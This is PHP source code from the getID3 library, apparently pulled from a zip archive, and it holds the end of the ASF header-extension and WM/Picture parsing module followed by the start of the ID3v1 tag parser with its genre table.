					$thisObject['data_bitrate']                      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['buffer_size']                       = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['initial_buffer_fullness']           = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['alternate_data_bitrate']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['alternate_buffer_size']             = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['alternate_initial_buffer_fullness'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['maximum_object_size']               = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;

					$thisObject['flags_raw']                         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
					$offset += 4;
					$thisObject['flags']['reliable']                = (bool) $thisObject['flags_raw'] & 0x00000001;
					$thisObject['flags']['seekable']                = (bool) $thisObject['flags_raw'] & 0x00000002;
					$thisObject['flags']['no_cleanpoints']          = (bool) $thisObject['flags_raw'] & 0x00000004;
					$thisObject['flags']['resend_live_cleanpoints'] = (bool) $thisObject['flags_raw'] & 0x00000008;

					$thisObject['stream_number']                     = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					$thisObject['stream_language_id_index']          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					$thisObject['average_time_per_frame']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
					$offset += 8;

					$thisObject['stream_name_count']                 = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					$thisObject['payload_extension_system_count']    = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['stream_name_count']; $i++) {
						$streamName = array();

						$streamName['language_id_index']             = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$streamName['stream_name_length']            = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$streamName['stream_name']                   =                              substr($asf_header_extension_object_data, $offset,  $streamName['stream_name_length']);
						$offset += $streamName['stream_name_length'];

						$thisObject['stream_names'][$i] = $streamName;
					}

					for ($i = 0; $i < $thisObject['payload_extension_system_count']; $i++) {
						$payloadExtensionSystem = array();

						$payloadExtensionSystem['extension_system_id']   =                              substr($asf_header_extension_object_data, $offset, 16);
						$offset += 16;
						$payloadExtensionSystem['extension_system_id_text'] = $this->BytestringToGUID($payloadExtensionSystem['extension_system_id']);

						$payloadExtensionSystem['extension_system_size'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;
						if ($payloadExtensionSystem['extension_system_size'] <= 0) {
							break 2;
						}

						$payloadExtensionSystem['extension_system_info_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
						$offset += 4;

						$payloadExtensionSystem['extension_system_info'] = substr($asf_header_extension_object_data, $offset,  $payloadExtensionSystem['extension_system_info_length']);
						$offset += $payloadExtensionSystem['extension_system_info_length'];

						$thisObject['payload_extension_systems'][$i] = $payloadExtensionSystem;
					}

					break;

				case GETID3_ASF_Advanced_Mutual_Exclusion_Object:
					$thisObject['exclusion_type']       = substr($asf_header_extension_object_data, $offset, 16);
					$offset += 16;
					$thisObject['exclusion_type_text']  = $this->BytestringToGUID($thisObject['exclusion_type']);

					$thisObject['stream_numbers_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['stream_numbers_count']; $i++) {
						$thisObject['stream_numbers'][$i] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;
					}

					break;

				case GETID3_ASF_Stream_Prioritization_Object:
					$thisObject['priority_records_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['priority_records_count']; $i++) {
						$priorityRecord = array();

						$priorityRecord['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$priorityRecord['flags_raw']     = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;
						$priorityRecord['flags']['mandatory'] = (bool) $priorityRecord['flags_raw'] & 0x00000001;

						$thisObject['priority_records'][$i] = $priorityRecord;
					}

					break;

				case GETID3_ASF_Padding_Object:
					// padding, skip it
					break;

				case GETID3_ASF_Metadata_Object:
					$thisObject['description_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['description_record_counts']; $i++) {
						$descriptionRecord = array();

						$descriptionRecord['reserved_1']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2)); // must be zero
						$offset += 2;

						$descriptionRecord['stream_number']      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['name_length']        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['data_type']          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;
						$descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']);

						$descriptionRecord['data_length']        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
						$offset += 4;

						$descriptionRecord['name']               =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['name_length']);
						$offset += $descriptionRecord['name_length'];

						$descriptionRecord['data']               =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['data_length']);
						$offset += $descriptionRecord['data_length'];
						switch ($descriptionRecord['data_type']) {
							case 0x0000: // Unicode string
								break;

							case 0x0001: // BYTE array
								// do nothing
								break;

							case 0x0002: // BOOL
								$descriptionRecord['data'] = (bool) getid3_lib::LittleEndian2Int($descriptionRecord['data']);
								break;

							case 0x0003: // DWORD
							case 0x0004: // QWORD
							case 0x0005: // WORD
								$descriptionRecord['data'] = getid3_lib::LittleEndian2Int($descriptionRecord['data']);
								break;

							case 0x0006: // GUID
								$descriptionRecord['data_text'] = $this->BytestringToGUID($descriptionRecord['data']);
								break;
						}

						$thisObject['description_record'][$i] = $descriptionRecord;
					}
					break;

				case GETID3_ASF_Language_List_Object:
					$thisObject['language_id_record_counts'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['language_id_record_counts']; $i++) {
						$languageIDrecord = array();

						$languageIDrecord['language_id_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  1));
						$offset += 1;

						$languageIDrecord['language_id']                =                              substr($asf_header_extension_object_data, $offset,  $languageIDrecord['language_id_length']);
						$offset += $languageIDrecord['language_id_length'];

						$thisObject['language_id_record'][$i] = $languageIDrecord;
					}
					break;

				case GETID3_ASF_Metadata_Library_Object:
					$thisObject['description_records_count'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['description_records_count']; $i++) {
						$descriptionRecord = array();

						$descriptionRecord['language_list_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['stream_number']       = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['name_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;

						$descriptionRecord['data_type']           = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  2));
						$offset += 2;
						$descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']);

						$descriptionRecord['data_length']         = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  4));
						$offset += 4;

						$descriptionRecord['name']                =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['name_length']);
						$offset += $descriptionRecord['name_length'];

						$descriptionRecord['data']                =                              substr($asf_header_extension_object_data, $offset,  $descriptionRecord['data_length']);
						$offset += $descriptionRecord['data_length'];

						if (preg_match('#^WM/Picture$#', str_replace("\x00", '', trim($descriptionRecord['name'])))) {
							$WMpicture = $this->ASF_WMpicture($descriptionRecord['data']);
							foreach ($WMpicture as $key => $value) {
								$descriptionRecord['data'] = $WMpicture;
							}
							unset($WMpicture);
						}

						$thisObject['description_record'][$i] = $descriptionRecord;
					}
					break;

				case GETID3_ASF_Index_Parameters_Object:
					$thisObject['index_entry_time_interval'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4));
					$offset += 4;

					$thisObject['index_specifiers_count']    = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['index_specifiers_count']; $i++) {
						$indexSpecifier = array();

						$indexSpecifier['stream_number']   = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;

						$indexSpecifier['index_type']      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;
						$indexSpecifier['index_type_text'] = isset(static::$ASFIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']])
							? static::$ASFIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']]
							: 'invalid'
						;

						$thisObject['index_specifiers'][$i] = $indexSpecifier;
					}

					break;

				case GETID3_ASF_Media_Object_Index_Parameters_Object:
					$thisObject['index_entry_count_interval'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4));
					$offset += 4;

					$thisObject['index_specifiers_count']     = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['index_specifiers_count']; $i++) {
						$indexSpecifier = array();

						$indexSpecifier['stream_number']   = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;

						$indexSpecifier['index_type']      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;
						$indexSpecifier['index_type_text'] = isset(static::$ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']])
							? static::$ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']]
							: 'invalid'
						;

						$thisObject['index_specifiers'][$i] = $indexSpecifier;
					}

					break;

				case GETID3_ASF_Timecode_Index_Parameters_Object:
					// 4.11	Timecode Index Parameters Object (mandatory only if TIMECODE index is present in file, 0 or 1)
					// Field name                     Field type   Size (bits)
					// Object ID                      GUID         128             // GUID for the Timecode Index Parameters Object - ASF_Timecode_Index_Parameters_Object
					// Object Size                    QWORD        64              // Specifies the size, in bytes, of the Timecode Index Parameters Object. Valid values are at least 34 bytes.
					// Index Entry Count Interval     DWORD        32              // This value is ignored for the Timecode Index Parameters Object.
					// Index Specifiers Count         WORD         16              // Specifies the number of entries in the Index Specifiers list. Valid values are 1 and greater.
					// Index Specifiers               array of:    varies          //
					// * Stream Number                WORD         16              // Specifies the stream number that the Index Specifiers refer to. Valid values are between 1 and 127.
					// * Index Type                   WORD         16              // Specifies the type of index. Values are defined as follows (1 is not a valid value):
					                                                               // 2 = Nearest Past Media Object - indexes point to the closest data packet containing an entire video frame or the first fragment of a video frame
					                                                               // 3 = Nearest Past Cleanpoint - indexes point to the closest data packet containing an entire video frame (or first fragment of a video frame) that is a key frame.
					                                                               // Nearest Past Media Object is the most common value

					$thisObject['index_entry_count_interval'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4));
					$offset += 4;

					$thisObject['index_specifiers_count']     = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
					$offset += 2;

					for ($i = 0; $i < $thisObject['index_specifiers_count']; $i++) {
						$indexSpecifier = array();

						$indexSpecifier['stream_number']   = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;

						$indexSpecifier['index_type']      = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2));
						$offset += 2;
						$indexSpecifier['index_type_text'] = isset(static::$ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']])
							? static::$ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes[$indexSpecifier['index_type']]
							: 'invalid'
						;

						$thisObject['index_specifiers'][$i] = $indexSpecifier;
					}

					break;

				case GETID3_ASF_Compatibility_Object:
					$thisObject['profile'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 1));
					$offset += 1;

					$thisObject['mode']    = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 1));
					$offset += 1;

					break;

				default:
					$unhandled_sections++;
					if ($this->GUIDname($thisObject['guid_text'])) {
						$this->warning('unhandled Header Extension Object GUID "'.$this->GUIDname($thisObject['guid_text']).'" {'.$thisObject['guid_text'].'} at offset '.($offset - 16 - 8));
					} else {
						$this->warning('unknown Header Extension Object GUID {'.$thisObject['guid_text'].'} in at offset '.($offset - 16 - 8));
					}
					break;
			}
			$HeaderExtensionObjectParsed[] = $thisObject;

			$objectOffset += $thisObject['size'];
		}
		return $HeaderExtensionObjectParsed;
	}

	/**
	 * @param int $id
	 *
	 * @return string
	 */
	public static function metadataLibraryObjectDataTypeLookup($id) {
		static $lookup = array(
			0x0000 => 'Unicode string', // The data consists of a sequence of Unicode characters
			0x0001 => 'BYTE array',     // The type of the data is implementation-specific
			0x0002 => 'BOOL',           // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer. Only 0x0000 or 0x0001 are permitted values
			0x0003 => 'DWORD',          // The data is 4 bytes long and should be interpreted as a 32-bit unsigned integer
			0x0004 => 'QWORD',          // The data is 8 bytes long and should be interpreted as a 64-bit unsigned integer
			0x0005 => 'WORD',           // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer
			0x0006 => 'GUID',           // The data is 16 bytes long and should be interpreted as a 128-bit GUID
		);
		return (isset($lookup[$id]) ? $lookup[$id] : 'invalid');
	}

	/**
	 * @param string $data
	 *
	 * @return array
	 */
	public function ASF_WMpicture(&$data) {
		//typedef struct _WMPicture{
		//  LPWSTR  pwszMIMEType;
		//  BYTE  bPictureType;
		//  LPWSTR  pwszDescription;
		//  DWORD  dwDataLen;
		//  BYTE*  pbData;
		//} WM_PICTURE;

		$WMpicture = array();

		$offset = 0;
		$WMpicture['image_type_id'] = getid3_lib::LittleEndian2Int(substr($data, $offset, 1));
		$offset += 1;
		$WMpicture['image_type']    = self::WMpictureTypeLookup($WMpicture['image_type_id']);
		$WMpicture['image_size']    = getid3_lib::LittleEndian2Int(substr($data, $offset, 4));
		$offset += 4;

		$WMpicture['image_mime'] = '';
		do {
			$next_byte_pair = substr($data, $offset, 2);
			$offset += 2;
			$WMpicture['image_mime'] .= $next_byte_pair;
		} while ($next_byte_pair !== "\x00\x00");

		$WMpicture['image_description'] = '';
		do {
			$next_byte_pair = substr($data, $offset, 2);
			$offset += 2;
			$WMpicture['image_description'] .= $next_byte_pair;
		} while ($next_byte_pair !== "\x00\x00");

		$WMpicture['dataoffset'] = $offset;
		$WMpicture['data'] = substr($data, $offset);

		$imageinfo = array();
		$WMpicture['image_mime'] = '';
		$imagechunkcheck = getid3_lib::GetDataImageSize($WMpicture['data'], $imageinfo);
		unset($imageinfo);
		if (!empty($imagechunkcheck)) {
			$WMpicture['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);
		}
		if (!isset($this->getid3->info['asf']['comments']['picture'])) {
			$this->getid3->info['asf']['comments']['picture'] = array();
		}
		$this->getid3->info['asf']['comments']['picture'][] = array('data'=>$WMpicture['data'], 'image_mime'=>$WMpicture['image_mime']);

		return $WMpicture;
	}

	/**
	 * Remove terminator 00 00 and convert UTF-16LE to Latin-1.
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function TrimConvert($string) {
		return trim(getid3_lib::iconv_fallback('UTF-16LE', 'ISO-8859-1', self::TrimTerm($string)), ' ');
	}

	/**
	 * Remove terminator 00 00.
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function TrimTerm($string) {
		// remove terminator, only if present (it should be, but...)
		if (substr($string, -2) === "\x00\x00") {
			$string = substr($string, 0, -2);
		}
		return $string;
	}

}
PKEWd[�hi�:�:module.tag.id3v1.phpnu�[���<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.tag.id3v1.php                                        //
// module for analyzing ID3v1 tags                             //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

class getid3_id3v1 extends getid3_handler
{
	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		if (!getid3_lib::intValueSupported($info['filesize'])) {
			$this->warning('Unable to check for ID3v1 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
			return false;
		}

		if($info['filesize'] < 256) {
			$this->fseek(-128, SEEK_END);
			$preid3v1 = '';
			$id3v1tag = $this->fread(128);
		} else {
			$this->fseek(-256, SEEK_END);
			$preid3v1 = $this->fread(128);
			$id3v1tag = $this->fread(128);
		}


		if (substr($id3v1tag, 0, 3) == 'TAG') {

			$info['avdataend'] = $info['filesize'] - 128;

			$ParsedID3v1            = array();
			$ParsedID3v1['title']   = $this->cutfield(substr($id3v1tag,   3, 30));
			$ParsedID3v1['artist']  = $this->cutfield(substr($id3v1tag,  33, 30));
			$ParsedID3v1['album']   = $this->cutfield(substr($id3v1tag,  63, 30));
			$ParsedID3v1['year']    = $this->cutfield(substr($id3v1tag,  93,  4));
			$ParsedID3v1['comment'] =                 substr($id3v1tag,  97, 30);  // can't remove nulls yet, track detection depends on them
			$ParsedID3v1['genreid'] =             ord(substr($id3v1tag, 127,  1));

			// If second-last byte of comment field is null and last byte of comment field is non-null
			// then this is ID3v1.1 and the comment field is 28 bytes long and the 30th byte is the track number
			if (($id3v1tag[125] === "\x00") && ($id3v1tag[126] !== "\x00")) {
				$ParsedID3v1['track_number'] = ord(substr($ParsedID3v1['comment'], 29,  1));
				$ParsedID3v1['comment']      =     substr($ParsedID3v1['comment'],  0, 28);
			}
			$ParsedID3v1['comment'] = $this->cutfield($ParsedID3v1['comment']);

			$ParsedID3v1['genre'] = $this->LookupGenreName($ParsedID3v1['genreid']);
			if (!empty($ParsedID3v1['genre'])) {
				unset($ParsedID3v1['genreid']);
			}
			if (empty($ParsedID3v1['genre']) || ($ParsedID3v1['genre'] == 'Unknown')) {
				unset($ParsedID3v1['genre']);
			}

			foreach ($ParsedID3v1 as $key => $value) {
				$ParsedID3v1['comments'][$key][0] = $value;
			}
			$ID3v1encoding = $this->getid3->encoding_id3v1;
			if ($this->getid3->encoding_id3v1_autodetect) {
				// ID3v1 encoding detection hack START
				// ID3v1 is defined as always using ISO-8859-1 encoding, but it is not uncommon to find files tagged with ID3v1 using Windows-1251 or other character sets
				// Since ID3v1 has no concept of character sets there is no certain way to know we have the correct non-ISO-8859-1 character set, but we can guess
				foreach ($ParsedID3v1['comments'] as $tag_key => $valuearray) {
					foreach ($valuearray as $key => $value) {
						if (preg_match('#^[\\x00-\\x40\\x80-\\xFF]+$#', $value) && !ctype_digit((string) $value)) { // check for strings with only characters above chr(128) and punctuation/numbers, but not just numeric strings (e.g. track numbers or years)
							foreach (array('Windows-1251', 'KOI8-R') as $id3v1_bad_encoding) {
								if (function_exists('mb_convert_encoding') && @mb_convert_encoding($value, $id3v1_bad_encoding, $id3v1_bad_encoding) === $value) {
									$ID3v1encoding = $id3v1_bad_encoding;
									$this->warning('ID3v1 detected as '.$id3v1_bad_encoding.' text encoding in '.$tag_key);
									break 3;
								} elseif (function_exists('iconv') && @iconv($id3v1_bad_encoding, $id3v1_bad_encoding, $value) === $value) {
									$ID3v1encoding = $id3v1_bad_encoding;
									$this->warning('ID3v1 detected as '.$id3v1_bad_encoding.' text encoding in '.$tag_key);
									break 3;
								}
							}
						}
					}
				}
				// ID3v1 encoding detection hack END
			}

			// ID3v1 data is supposed to be padded with NULL characters, but some taggers pad with spaces
			$GoodFormatID3v1tag = $this->GenerateID3v1Tag(
											$ParsedID3v1['title'],
											$ParsedID3v1['artist'],
											$ParsedID3v1['album'],
											$ParsedID3v1['year'],
											(isset($ParsedID3v1['genre']) ? $this->LookupGenreID($ParsedID3v1['genre']) : false),
											$ParsedID3v1['comment'],
											(!empty($ParsedID3v1['track_number']) ? $ParsedID3v1['track_number'] : ''));
			$ParsedID3v1['padding_valid'] = true;
			if ($id3v1tag !== $GoodFormatID3v1tag) {
				$ParsedID3v1['padding_valid'] = false;
				$this->warning('Some ID3v1 fields do not use NULL characters for padding');
			}

			$ParsedID3v1['tag_offset_end']   = $info['filesize'];
			$ParsedID3v1['tag_offset_start'] = $ParsedID3v1['tag_offset_end'] - 128;

			$info['id3v1'] = $ParsedID3v1;
			$info['id3v1']['encoding'] = $ID3v1encoding;
		}

		if (substr($preid3v1, 0, 3) == 'TAG') {
			// The way iTunes handles tags is, well, brain-damaged.
			// It completely ignores v1 if ID3v2 is present.
			// This goes as far as adding a new v1 tag *even if there already is one*

			// A suspected double-ID3v1 tag has been detected, but it could be that
			// the "TAG" identifier is a legitimate part of an APE or Lyrics3 tag
			if (substr($preid3v1, 96, 8) == 'APETAGEX') {
				// an APE tag footer was found before the last ID3v1, assume false "TAG" synch
			} elseif (substr($preid3v1, 119, 6) == 'LYRICS') {
				// a Lyrics3 tag footer was found before the last ID3v1, assume false "TAG" synch
			} else {
				// APE and Lyrics3 footers not found - assume double ID3v1
				$this->warning('Duplicate ID3v1 tag detected - this has been known to happen with iTunes');
				$info['avdataend'] -= 128;
			}
		}

		return true;
	}

	/**
	 * @param string $str
	 *
	 * @return string
	 */
	public static function cutfield($str) {
		return trim(substr($str, 0, strcspn($str, "\x00")));
	}

	/**
	 * @param bool $allowSCMPXextended
	 *
	 * @return string[]
	 */
	public static function ArrayOfGenres($allowSCMPXextended=false) {
		static $GenreLookup = array(
			0    => 'Blues',
			1    => 'Classic Rock',
			2    => 'Country',
			3    => 'Dance',
			4    => 'Disco',
			5    => 'Funk',
			6    => 'Grunge',
			7    => 'Hip-Hop',
			8    => 'Jazz',
			9    => 'Metal',
			10   => 'New Age',
			11   => 'Oldies',
			12   => 'Other',
			13   => 'Pop',
			14   => 'R&B',
			15   => 'Rap',
			16   => 'Reggae',
			17   => 'Rock',
			18   => 'Techno',
			19   => 'Industrial',
			20   => 'Alternative',
			21   => 'Ska',
			22   => 'Death Metal',
			23   => 'Pranks',
			24   => 'Soundtrack',
			25   => 'Euro-Techno',
			26   => 'Ambient',
			27   => 'Trip-Hop',
			28   => 'Vocal',
			29   => 'Jazz+Funk',
			30   => 'Fusion',
			31   => 'Trance',
			32   => 'Classical',
			33   => 'Instrumental',
			34   => 'Acid',
			35   => 'House',
			36   => 'Game',
			37   => 'Sound Clip',
			38   => 'Gospel',
			39   => 'Noise',
			40   => 'Alt. Rock',
			41   => 'Bass',
			42   => 'Soul',
			43   => 'Punk',
			44   => 'Space',
			45   => 'Meditative',
			46   => 'Instrumental Pop',
			47   => 'Instrumental Rock',
			48   => 'Ethnic',
			49   => 'Gothic',
			50   => 'Darkwave',
			51   => 'Techno-Industrial',
			52   => 'Electronic',
			53   => 'Pop-Folk',
			54   => 'Eurodance',
			55   => 'Dream',
			56   => 'Southern Rock',
			57   => 'Comedy',
			58   => 'Cult',
			59   => 'Gangsta Rap',
			60   => 'Top 40',
			61   => 'Christian Rap',
			62   => 'Pop/Funk',
			63   => 'Jungle',
			64   => 'Native American',
			65   => 'Cabaret',
			66   => 'New Wave',
			67   => 'Psychedelic',
			68   => 'Rave',
			69   => 'Showtunes',
			70   => 'Trailer',
			71   => 'Lo-Fi',
			72   => 'Tribal',
			73   => 'Acid Punk',
			74   => 'Acid Jazz',
			75   => 'Polka',
			76   => 'Retro',
			77   => 'Musical',
			78   => 'Rock & Roll',
			79   => 'Hard Rock',
			80   => 'Folk',
			81   => 'Folk/Rock',
			82   => 'National Folk',
			83   => 'Swing',
			84   => 'Fast-Fusion',
			85   => 'Bebob',
			86   => 'Latin',
			87   => 'Revival',
			88   => 'Celtic',
			89   => 'Bluegrass',
			90   => 'Avantgarde',
			91   => 'Gothic Rock',
			92   => 'Progressive Rock',
			93   => 'Psychedelic Rock',
			94   => 'Symphonic Rock',
			95   => 'Slow Rock',
			96   => 'Big Band',
			97   => 'Chorus',
			98   => 'Easy Listening',
			99   => 'Acoustic',
			100  => 'Humour',
			101  => 'Speech',
			102  => 'Chanson',
			103  => 'Opera',
			104  => 'Chamber Music',
			105  => 'Sonata',
			106  => 'Symphony',
			107  => 'Booty Bass',
			108  => 'Primus',
			109  => 'Porn Groove',
			110  => 'Satire',
			111  => 'Slow Jam',
			112  => 'Club',
			113  => 'Tango',
			114  => 'Samba',
			115  => 'Folklore',
			116  => 'Ballad',
			117  => 'Power Ballad',
			118  => 'Rhythmic Soul',
			119  => 'Freestyle',
			120  => 'Duet',
			121  => 'Punk Rock',
			122  => 'Drum Solo',
			123  => 'A Cappella',
			124  => 'Euro-House',
			125  => 'Dance Hall',
			126  => 'Goa',
			127  => 'Drum & Bass',
			128  => 'Club-House',
			129  => 'Hardcore',
			130  => 'Terror',
			131  => 'Indie',
			132  => 'BritPop',
			133  => 'Negerpunk',
			134  => 'Polsk Punk',
			135  => 'Beat',
			136  => 'Christian Gangsta Rap',
			137  => 'Heavy Metal',
			138  => 'Black Metal',
			139  => 'Crossover',
			140  => 'Contemporary Christian',
			141  => 'Christian Rock',
			142  => 'Merengue',
			143  => 'Salsa',
			144  => 'Thrash Metal',
			145  => 'Anime',
			146  => 'JPop',
			147  => 'Synthpop',
			148 => 'Abstract',
			149 => 'Art Rock',
			150 => 'Baroque',
			151 => 'Bhangra',
			152 => 'Big Beat',
			153 => 'Breakbeat',
			154 => 'Chillout',
			155 => 'Downtempo',
			156 => 'Dub',
			157 => 'EBM',
			158 => 'Eclectic',
			159 => 'Electro',
			160 => 'Electroclash',
			161 => 'Emo',
			162 => 'Experimental',
			163 => 'Garage',
			164 => 'Global',
			165 => 'IDM',
			166 => 'Illbient',
			167 => 'Industro-Goth',
			168 => 'Jam Band',
			169 => 'Krautrock',
			170 => 'Leftfield',
			171 => 'Lounge',
			172 => 'Math Rock',
			173 => 'New Romantic',
			174 => 'Nu-Breakz',
			175 => 'Post-Punk',
			176 => 'Post-Rock',
			177 => 'Psytrance',
			178 => 'Shoegaze',
			179 => 'Space Rock',
			180 => 'Trop Rock',
			181 => 'World Music',
			182 => 'Neoclassical',
			183 => 'Audiobook',
			184 => 'Audio Theatre',
			185 => 'Neue Deutsche Welle',
			186 => 'Podcast',
			187 => 'Indie-Rock',
			188 => 'G-Funk',
			189 => 'Dubstep',
			190 => 'Garage Rock',
			191 => 'Psybient',

			255  => 'Unknown',

			'CR' => 'Cover',
			'RX' => 'Remix'
		);

		static $GenreLookupSCMPX = array();
		if ($allowSCMPXextended && empty($GenreLookupSCMPX)) {
			$GenreLookupSCMPX = $GenreLookup;
			// http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended
			// Extended ID3v1 genres invented by SCMPX
			// Note that 255 "Japanese Anime" conflicts with standard "Unknown"
			$GenreLookupSCMPX[240] = 'Sacred';
			$GenreLookupSCMPX[241] = 'Northern Europe';
			$GenreLookupSCMPX[242] = 'Irish & Scottish';
			$GenreLookupSCMPX[243] = 'Scotland';
			$GenreLookupSCMPX[244] = 'Ethnic Europe';
			$GenreLookupSCMPX[245] = 'Enka';
			$GenreLookupSCMPX[246] = 'Children\'s Song';
			$GenreLookupSCMPX[247] = 'Japanese Sky';
			$GenreLookupSCMPX[248] = 'Japanese Heavy Rock';
			$GenreLookupSCMPX[249] = 'Japanese Doom Rock';
			$GenreLookupSCMPX[250] = 'Japanese J-POP';
			$GenreLookupSCMPX[251] = 'Japanese Seiyu';
			$GenreLookupSCMPX[252] = 'Japanese Ambient Techno';
			$GenreLookupSCMPX[253] = 'Japanese Moemoe';
			$GenreLookupSCMPX[254] = 'Japanese Tokusatsu';
			//$GenreLookupSCMPX[255] = 'Japanese Anime';
		}

		return ($allowSCMPXextended ? $GenreLookupSCMPX : $GenreLookup);
	}

	/**
	 * @param string $genreid
	 * @param bool   $allowSCMPXextended
	 *
	 * @return string|false
	 */
	public static function LookupGenreName($genreid, $allowSCMPXextended=true) {
		switch ($genreid) {
			case 'RX':
			case 'CR':
				break;
			default:
				if (!is_numeric($genreid)) {
					return false;
				}
				$genreid = intval($genreid); // to handle 3 or '3' or '03'
				break;
		}
		$GenreLookup = self::ArrayOfGenres($allowSCMPXextended);
